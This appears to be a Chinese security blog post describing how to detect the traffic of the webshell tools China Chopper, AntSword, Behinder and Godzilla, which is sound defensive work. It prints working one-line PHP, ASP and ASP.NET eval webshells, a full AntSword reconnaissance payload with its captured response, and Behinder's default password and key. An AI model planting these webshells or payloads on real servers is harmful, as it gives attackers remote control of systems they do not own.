菜刀流量特征

静态特征

菜刀用的是一句话木马,特征很明显

1
2
3
PHP:  <?php @eval([$_post['hacker']]); ?>
ASP: <% eval request("hacker")%>
ASP.NET: <%@ Page Language="Javascript"%><% eval(Request.Item["hacker"],"unsafe");%>

动态特征

  • payload在请求体中,采用url编码+base64编码,payload部分是明文传输;

  • payload中有eval或assert、base64_decode这样的字符;

  • payload中有默认固定的&z0=QGluaV9zZXQ…这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。

    进行base64解码后可看到代码:@ini_set(“display_errors”,“0”);@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。

蚁剑流量特征

静态特征

  • php使用assert、eval执行;
  • asp使用eval执行;
  • jsp使用Java类加载(ClassLoader);
  • 会带有base64encode、decode的特征

动态特征

  • 蚁剑内置了100多个UA头,每次执行命令都会更换UA头;

请求体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir
");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base
64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());forea
ch($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.a91809f
";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@ch
dir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdi
r);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/")
;@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(
){$output=ob_get_contents();ob_end_clean();echo "d0fa"."402e";echo @asenc($outpu
t);echo "8ae"."52a";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($
D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/")
{foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="
";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s
=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch
(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 存在@ini_set("display_errors", "0");@set_time_limit(0);开头
  • 中间存在echo "d0fa"."402e"echo "8ae"."52a"类此的拼接的随机数

响应体:

1
d0fa402eD:/phpstudy_pro/WWW/pikachu/vul/unsafeupload/uploads	C:D:E:G:	Windows NT LAPTOP-71B88B96 10.0 build 19045 (Windows 10) AMD64	TsingZhi8ae52a
  • 响应体格式为随机数 结果 随机数,其中两个随机数源于请求体中拼接随机数
  • 结果有时候会采用base64编码,解码可以发现其攻击行为

冰蝎流量特征

冰蝎2

image-20240319160352803

  • 使用AES-16+Base64加密;

  • 需要两次GET访问获取密钥;

  • GET访问中默认webshell的密码为pass,参数值为3位随机数字;

  • 密钥是直接接以16位字符的形式返回到客户端;

  • 冰蝎的流量中,无论是GET还是POST都会存在content-type,在正常情况下只有POST形式的访问才会有

    image-20240319161022472

  • 内置了10多个User-Agent头,通过逆向可以得到内置的UA头,也为特征的一种。在每次建立新连接的时候,都会更换一个UA头,且不少UA头浏览器版本较老;

  • accept里有个q=.2(强特征)

冰蝎3

  • 使用AES-16+Base64加密的方式,取消了动态获取密钥的方式,使用固定密钥。AES使用的密钥为Webshell连接密码MD5的前面16位,默认为rebeyond即密钥为e45e329feb5d925b
  • 且一般在第二次会返回一个长度比较大的响应包,对应内容为phpinfo页面;
  • 内置了10多个User-Agent头,通过逆向可以得到内置的UA头,也为特征的一种。在每次建立新连接的时候,都会更换一个UA头;
  • 连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。

冰蝎4

  • 与前面版本类似,内置了10多个User-Agent头,预估是大概2分钟会更换一次UA;
  • referer为正常请求的webshell的页面链接,随机替换一个或几个部分;
  • 与网上描述不同的是,现在Connection不再是keep-alive,而是close;
  • Content-Type字段(弱特征)通常是Content-type: Application/x-www-form-urlencoded
  • Accept字段(弱特征)通常是Accept: application/json, text/javascript, */*; q=0.01
  • 在没有使用自定义传输的情况下,使用的是跟3一样的方式,默认为rebeyond即密钥为e45e329feb5d925b
  • 密文的长度为16的整数倍。

哥斯拉

image-20240319201455418

  • 哥斯拉最明显的特征是cookie后面带了;,即使后续没有任何其他内容
  • 响应体有一定特征:哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。